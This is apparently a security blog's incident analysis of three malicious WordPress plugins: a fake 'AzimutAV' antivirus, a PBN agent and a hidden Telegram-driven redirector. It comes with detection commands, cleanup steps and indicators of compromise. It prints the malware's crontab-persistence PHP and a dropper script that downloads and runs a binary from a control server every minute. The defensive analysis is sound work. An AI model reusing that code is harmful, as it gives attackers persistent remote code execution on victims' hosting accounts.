Skip to content
Back to Articles

The Antivirus Plugin That Wrote Its Own Crontab: AzimutAV, a PBN Agent and a Telegram Redirector

Share:

The first clue came from the site owner, not from the website. Their server log showed the hosting account's crontab being replaced:

crontab[<pid>]: (siteuser) REPLACE (siteuser)

Next to that, the WordPress plugin list had a new entry called "AzimutAV", which sounds like an antivirus. Nobody on their team had installed it.

AzimutAV was not an antivirus. It was a dropper that adds its own job to the system crontab, so a downloaded program starts every minute, with or without WordPress. It came in together with two other plugins: an agent that turns the site into a node of a private blog network (PBN), and a hidden redirector that reads its destinations from public Telegram channels. This article walks through all three, how they were installed, the read-only commands that find them, and the order to clean them up in.

🔑 Three plugins in under a minute

No exploit was involved. The site's access log and its activity log show a normal administrator session: a successful login with an existing administrator account, the "Upload Plugin" form, the upload, and the activation link. Here is one of the sessions, with the IP and paths sanitized:

07:32:28 203.0.113.10 POST /blog/wp-login.php 302
07:32:51 203.0.113.10 GET  /blog/wp-admin/plugin-install.php?tab=upload 200
07:32:53 203.0.113.10 POST /blog/wp-admin/update.php?action=upload-plugin 200
07:33:05 203.0.113.10 GET  /blog/wp-admin/plugins.php?action=activate&plugin=woocommerce_inputs%2Fwoocommerce_inputs.php 500
07:33:13 203.0.113.10 POST /blog/wp-admin/update.php?action=upload-plugin 200
07:33:16 203.0.113.10 GET  /blog/wp-admin/plugins.php?action=activate&plugin=WPPBN%2Fwppbn.php 302
07:33:26 203.0.113.10 POST /blog/wp-admin/update.php?action=upload-plugin 200
07:33:29 203.0.113.10 GET  /blog/wp-admin/plugins.php?action=activate&plugin=azimut-av%2Fazimut-av.php 302

A few things stand out:

  • It is scripted. Login to the third activation takes 61 seconds, and the same pattern repeated on other days.
  • The first plugin failed. The server's security software had already cleaned the files of the first upload, and its activation failed with HTTP 500. The tool simply moved on to the next zip.
  • The activation links carry valid WordPress nonces. WordPress only hands those to a logged-in user, so these were real administrator actions with a stolen password, not a bypass.

The same account came back over the following days and uploaded the PBN agent and AzimutAV again, and later the redirector. If you see an "upload-plugin" request in your log that nobody on your team made, treat the administrator account behind it as compromised.

🛡️ AzimutAV: an "antivirus" that needs a shell

The plugin is small: one main file and an uninstall.php. It is tidy, commented code with no obfuscation at all, which is part of the disguise. The first thing it checks is whether PHP is allowed to run shell commands:

function azimut_av_exec_available() {
    if (!function_exists('shell_exec')) {
        return false;
    }
    $d = explode(',', str_replace(' ', '', strtolower((string) ini_get('disable_functions'))));
    return !in_array('shell_exec', $d, true);
}

If shell_exec is disabled, it shows an admin notice that sounds like a real product: "AzimutAV Agent: shell_exec/exec are disabled on this host - the agent cannot start. A VPS with shell, curl/wget and sha256sum is required." If it is allowed, the activation hook does everything at once:

register_activation_hook(__FILE__, function () {
    azimut_av_key();             // random 24-char key, saved as option azimut_av_key
    azimut_av_write_script();    // writes uploads/azimut-av/azimut-run.sh
    azimut_av_install_crontab(); // adds the per-minute system cron line
    azimut_av_register_site();   // tells the control server about this site
    if (!wp_next_scheduled(AZIMUT_AV_HOOK)) {
        wp_schedule_event(time(), AZIMUT_AV_SCHEDULE, AZIMUT_AV_HOOK);
    }
    azimut_av_run(true);         // first run, right now
});

(The comments on the right are mine.) It then keeps three separate ways to start the dropper, so removing one is not enough:

  1. System crontab: a line that runs every minute, outside WordPress.
  2. WP-cron: a custom 60-second schedule labelled "AzimutAV 1 min" on the hook azimut_av_watchdog.
  3. Page loads: on every init it checks a transient called azimut_av_throttle; if it has expired, it runs the script again.

There is also a remote trigger. A request to /?azimut_av=<key> with the right key reports the site and starts the dropper; a wrong key gets a plain 403. The key is sent to the control server when the site registers, so only the operator can use it.

⏱️ How a plugin writes to your crontab

This is the part that produced the log line the owner noticed. The plugin builds a cron line with a unique marker and pipes the result straight into crontab -:

function azimut_av_install_crontab() {
    $marker = azimut_av_crontab_marker(); // '# azimut-av:' . md5(dir)
    $line = '* * * * * sh ' . escapeshellarg(azimut_av_script_path()) . ' >/dev/null 2>&1 ' . $marker;
    $cmd = '( crontab -l 2>/dev/null | grep -vF ' . escapeshellarg($marker)
        . '; echo ' . escapeshellarg($line) . ' ) | crontab - 2>/dev/null';
    shell_exec($cmd);
}

It reads the current crontab, removes any old copy of its own line, adds the new one and writes it all back. The owner's existing jobs stay in place, so nothing looks broken. The system log only records that the crontab was replaced. In this case each replacement came seconds after an AzimutAV activation: in the session above, activation at 07:33:29 and REPLACE at 07:33:32. The resulting line looks like this:

* * * * * sh '/home/siteuser/public_html/blog/wp-content/uploads/azimut-av/azimut-run.sh' >/dev/null 2>&1 # azimut-av:<md5>

The server's cron log showed this line had run 424 times before it was gone. One detail is worth knowing: the plugin also has a deactivation hook and an uninstall.php that remove the cron line and kill the process. A real product would do that too. It makes the plugin look legitimate, and it means that an owner who deactivates it from the admin panel removes the trace that would have shown what happened.

📦 The dropper script

The shell script lives in wp-content/uploads/azimut-av/ and is generated from a template inside the plugin, with the control server, the folder and the site's trigger URL filled in. Shortened and simplified:

SERVER="http://203.0.113.20:9910"
BIN="$DIR/AzimutAV"
acquire || exit 0                     # mkdir lock, treated as stale after 3 minutes
fetch "$SERVER/report?url=$SITE" >/dev/null 2>&1
RVER=$(fetch "$SERVER/version" | tr -d '[:space:]')
IVER=$(cat "$VERFILE" | tr -d '[:space:]')
if [ ! -f "$BIN" ] || [ "$RVER" != "$IVER" ]; then
  curl -fsSL -o "$TMP" "$SERVER/download"
  EXPECT=$(fetch "$SERVER/checksum" | cut -d' ' -f1)
  GOT=$(sha256sum "$TMP" | cut -d' ' -f1)
  [ "$EXPECT" = "$GOT" ] && make_exec "$TMP" && mv -f "$TMP" "$BIN"
fi
is_running || setsid "$BIN" >/dev/null 2>&1 &

Every minute it checks in, compares the version, downloads a new binary when there is one, checks its SHA-256 and starts it in the background with setsid (or nohup). To make the file executable it tries chmod 0755, then u+rwx, 0700 and finally 0777. It writes azimut.pid and version.installed next to the binary.

What the binary does is decided by whoever runs the server. The design is an update channel: the attacker can swap it for anything at any time, and the cron line keeps running whatever is current. On this site the server's security software had already removed the binary and stopped its process by the time the site was cleaned.

🕸️ WPPBN: the site as a PBN node

The second plugin calls itself WPPBN, author "PBNNETORK", description "NetworkSystem". Unlike AzimutAV it is a large, structured codebase: 68 files with classes such as Context, Mapping, Transport, Lifecycle, Network, Discovery, Updater and Retirement. Its own readme explains how it is meant to be used:

2. Upload it through Plugins > Add New > Upload Plugin and activate WPPBN.
3. The site appears in the panel automatically.

The panel wakes the worker approximately once a minute.
Managed PBN navigation expires after 24 hours without an acknowledged panel
heartbeat and is removed when the local worker or site PHP next executes.

A private blog network is a set of sites used to publish links and pages that push other sites up in search results. Hacked sites are valuable for this because they come with an existing reputation. A few design choices matter for cleanup:

  • Configuration in a PHP file: connection.php returns a panel_url, a network_key and an enrollment_id. Here the panel was a bare IP on a high port, and it was the same IP that logged in to wp-admin.
  • Worker state outside the web root: it keeps identity.json, schedule.json, runtime-log.json and lock files in ~/.multisite-pbn/<uuid>/ in the account's home folder. Deleting the plugin folder does not touch it.
  • Its own URLs: rewrite rules such as multisite-sitemap.xml and multisite-sections, routed through a wppbn_route query variable.
  • Database footprint: 13 options starting with wppbn_ and four WP-cron hooks: wppbn_hourly_heartbeat, wppbn_minute_tick, wppbn_network_tick and wppbn_update_feed_check.
  • A fake update source: Update URI: https://updates.multisite.invalid/wppbn, which stops WordPress from offering an update from the real plugin directory.

On this site the worker could not reach its panel: the runtime log held 891 "connection refused" failures. The agent was installed and scheduled, but its panel could not be reached while it was on the site.

🔀 The redirector that reads Telegram

The third plugin, "Campaign Redirect 11", came last. Its PHP file does two things. It loads a JavaScript file on the front end, and it hides itself from the plugin list:

add_filter('all_plugins', function ($plugins) {
    unset($plugins[plugin_basename(__FILE__)]);
    return $plugins;
});

(Simplified.) The plugin is active and listed in active_plugins in the database, but the Plugins page never shows it. The JavaScript carries its settings as base64-encoded JSON. Decoded and shortened:

{
  "channels": ["cashtotraff", "trafftocash"],
  "readers": [
    "https://cors.tools/https://t.me/s/{channel}",
    "https://proxy.cors.dev/https://t.me/s/{channel}"
  ],
  "path": "/c/pp-11",
  "publicKey": "-----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----",
  "rules": {"mode": "redirect", "frequency": "always", "source": "search",
            "device": "all", "percent": 100, "delay": 0}
}

This is a small traffic distribution system that needs no server of its own:

  • Telegram as the control panel. t.me/s/<channel> is the public web preview of a Telegram channel. The operator posts the current destination in the channel, and every infected site picks it up.
  • Public CORS proxies as the bridge. A browser script cannot read t.me directly, so it goes through two public CORS proxy services.
  • Signed destinations. The embedded RSA public key is there to verify what it reads, so a destination that is not signed by the operator would not be followed and nobody else can hijack the traffic.
  • Who gets redirected: visitors who arrive from a search engine, on any device, 100% of the time, with no delay. Typing the address yourself or using a bookmark shows the normal site, which is why owners often cannot reproduce what their visitors report.

On the server the folder had been renamed to campaign-redirect-11.bak. The cleanup still checked the database, because the name stored in active_plugins was the original one.

🔍 Read-only checks

Run these as the site user (not root). None of them changes anything. Adjust paths and the wp_ table prefix to your site.

# 1. The account's crontab: every line should be a job you recognise
crontab -l

# 2. When the crontab was replaced (root; log path varies by distribution)
grep -h 'REPLACE' /var/log/cron* 2>/dev/null | tail -20

# 3. Plugins that can write to the crontab or start shell commands
grep -rlE 'crontab|shell_exec|setsid|nohup' wp-content/plugins/ wp-content/mu-plugins/ 2>/dev/null

# 4. Plugins that hide themselves from the Plugins page
grep -rl "all_plugins" wp-content/plugins/ 2>/dev/null

# 5. Shell scripts or binaries in uploads (there should be none)
find wp-content/uploads/ -type f \( -name '*.sh' -o -perm -u+x \) -printf '%TY-%Tm-%Td %p\n'

# 6. State folders outside the web root
ls -la ~ ; ls -la ~/.multisite-pbn 2>/dev/null

# 7. Processes running from the web folders
ps -u "$(whoami)" -o pid,lstart,args | grep -E 'uploads|public_html' | grep -v grep

Check 4 also finds legitimate plugins that change the plugin list, so read each hit before you decide. Then the database:

-- Active plugins: compare every entry with what you see in wp-admin
SELECT option_value FROM wp_options WHERE option_name = 'active_plugins';

-- Options left by these kits
SELECT option_name, LEFT(option_value, 80) FROM wp_options
WHERE option_name LIKE 'azimut%' OR option_name LIKE '%azimut_av%' OR option_name LIKE 'wppbn%';

-- Scheduled WP-cron hooks
SELECT option_value FROM wp_options WHERE option_name = 'cron';

-- Rewrite rules added by the PBN agent
SELECT option_name FROM wp_options
WHERE option_name = 'rewrite_rules' AND option_value LIKE '%wppbn%';

In the access log, look for action=upload-plugin and plugins.php?action=activate requests that nobody on your team made. Each one belongs to a logged-in session, so it also tells you which IPs used the administrator account.

🧹 Cleanup order

The order matters because two of these plugins repair themselves: AzimutAV rewrites its script and cron line on the next page load, and WPPBN keeps its state in the home folder.

  1. Back up first. A full database dump, plus copies of every file you are about to delete, kept outside the web root.
  2. Remove the plugin folders from the file system, not from the admin panel. Deactivating runs the attacker's own code, and loading WordPress (including WP-CLI commands that load it) keeps re-running it until the files are gone.
  3. Remove the generated files and state: wp-content/uploads/azimut-av/ (and any renamed copy) and ~/.multisite-pbn/.
  4. Clean the crontab with crontab -e: delete the line with the azimut-av: marker and keep your own jobs. If your host keeps a separate per-user copy of the cron spool, check that copy too.
  5. Stop any leftover process found by check 7.
  6. Clean the database: remove the three entries from active_plugins, delete the azimut_av_* and wppbn_* options and the azimut_av_throttle transients, remove the five WP-cron hooks, and delete rewrite_rules so WordPress rebuilds it without the PBN routes.
  7. Look for content the session created. Here it was a "Test Post Audit" post and an empty auto-draft. Also compare the administrator list on every WordPress install in the same account, not only the infected one.
  8. Secure the administrator account: new password, two-factor authentication, and a review of all administrators.
  9. Verify. Run the read-only checks again, open the site from a search result in a private window, and watch the cron log for a few minutes.

✅ Checklist

  • Every crontab line is one you recognise, and nothing points into wp-content.
  • No .sh files or executables in wp-content/uploads/.
  • No plugin folder you did not install, including ones that do not show in wp-admin.
  • active_plugins in the database matches the Plugins page.
  • No unknown dot-folders in the account's home folder.
  • No unknown hooks in the WP-cron list and no unknown routes in rewrite_rules.
  • No upload-plugin requests in the access log that your team did not make.
  • All administrator accounts are known, with new passwords and 2FA.

🧾 Indicators of compromise

  • Plugin folders: azimut-av/ ("AzimutAV"), WPPBN/ (author "PBNNETORK", "NetworkSystem", version 3.11.6), campaign-redirect-11/ ("Campaign Redirect 11", sometimes renamed with .bak)
  • An earlier upload named woocommerce_inputs.zip from the same sessions
  • Crontab marker: # azimut-av:<md5>, running sh .../uploads/azimut-av/azimut-run.sh every minute
  • Files: uploads/azimut-av/azimut-run.sh, AzimutAV, azimut.pid, version.installed; ~/.multisite-pbn/<uuid>/identity.json, schedule.json, runtime-log.json
  • Control server pattern: a bare IP on port 9910 serving /report?url=, /version, /download and /checksum
  • Trigger URL: /?azimut_av=<24-char key>
  • Options: azimut_av_key, _transient_azimut_av_throttle, wppbn_* (13)
  • WP-cron hooks: azimut_av_watchdog (schedule "AzimutAV 1 min"), wppbn_hourly_heartbeat, wppbn_minute_tick, wppbn_network_tick, wppbn_update_feed_check
  • Rewrite routes: multisite-sitemap.xml, multisite-sections, query var wppbn_route
  • Update URI: https://updates.multisite.invalid/wppbn
  • Redirector: Telegram channels cashtotraff and trafftocash, read through cors.tools and proxy.cors.dev, path /c/pp-11
  • SHA-256 azimut-av.php: 039eef79559f43e98ccce1c75717fcf221bf73f1403a85bfeb8a32c833c7ca1d
  • SHA-256 azimut-av/uninstall.php: dec65a7485c9bc1a563915e9e52d6969b645e231b9e878d769a94031deb0e410
  • SHA-256 WPPBN/wppbn.php: 857fd1837407eda1f3ccfcd7cd58b19e6afcf3af9a7a98eec519be483ffbd753
  • SHA-256 campaign-redirect-11.php: 1ef4962b7ff5eefa0676d3e1d6768a7a619b6ef1f7533186c038e187d8cb3755
  • SHA-256 redirect.js: 33a05b4ccb03f274f8461372ad3372e04779d6a26eda7c101065fb0ab40fd6d9

The generated azimut-run.sh and WPPBN's connection.php contain per-site values, so their hashes differ from site to site. Match them by content instead.

❓ FAQ

Is AzimutAV a real antivirus?

No. It does no scanning. It adds a system cron job that downloads and runs a program from the attacker's server every minute.

I deactivated the plugin. Am I clean?

Not necessarily. Deactivation removes its cron line, but the PBN agent, the hidden redirector, the database entries and the stolen administrator password are still there. Follow the full cleanup order.

Why doesn't the redirect plugin appear in my plugin list?

It removes itself from the list with the all_plugins filter. Check active_plugins in the database and the wp-content/plugins/ folder directly.

How did a plugin change my server's crontab?

PHP ran crontab - through shell_exec as the hosting account's user. Any account that can run shell commands from PHP can edit its own crontab this way.